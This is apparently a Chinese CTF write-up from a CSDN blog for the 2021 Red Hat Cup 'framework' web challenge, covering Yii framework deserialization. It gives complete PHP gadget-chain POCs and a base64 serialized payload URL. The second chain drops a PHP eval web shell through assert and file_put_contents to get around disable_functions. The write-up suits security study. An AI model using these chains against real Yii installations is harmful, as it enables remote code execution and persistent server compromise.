2021红帽杯 framework

最新推荐文章于 2021-11-28 12:29:12 发布

H3rmesk1t

最新推荐文章于 2021-11-28 12:29:12 发布

阅读量327

点赞数

分类专栏： # BUUCTF-Web 文章标签： yii反序列化 ctf 2021红帽杯 web安全新星计划

本文链接：https://blog.csdn.net/LYJ20010728/article/details/118120752

版权

BUUCTF-Web 专栏收录该内容

43 篇文章 2 订阅

订阅专栏

"本文详细探讨了在2021红帽杯竞赛中，如何通过Yii框架的反序列化功能利用Payload，包括POC链的构造与规避安全限制的方法。重点展示了如何通过`CreateAction`和`Generator`类进行攻击，以及如何绕过PHPinfo中disable_functions设置。"

摘要由CSDN通过智能技术生成

考点

yii反序列化

思路

直接 /www.zip发现源码，直接拷贝下来本地运行
yii反序列化可以看看我之前的分析：文章链接
phpinfo中可以发现：system、eval之类的一些函数好像都没有效果，设置了disable_functions；assert能用、file_put_contents()也能用

Payload

POC链

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '5';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

Payload

?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiI1Ijt9aToxO3M6MzoicnVuIjt9fX19

在这里插入图片描述

POC链

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents(\'shell.php\',\'<?php eval($_POST[1]);?>\');';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>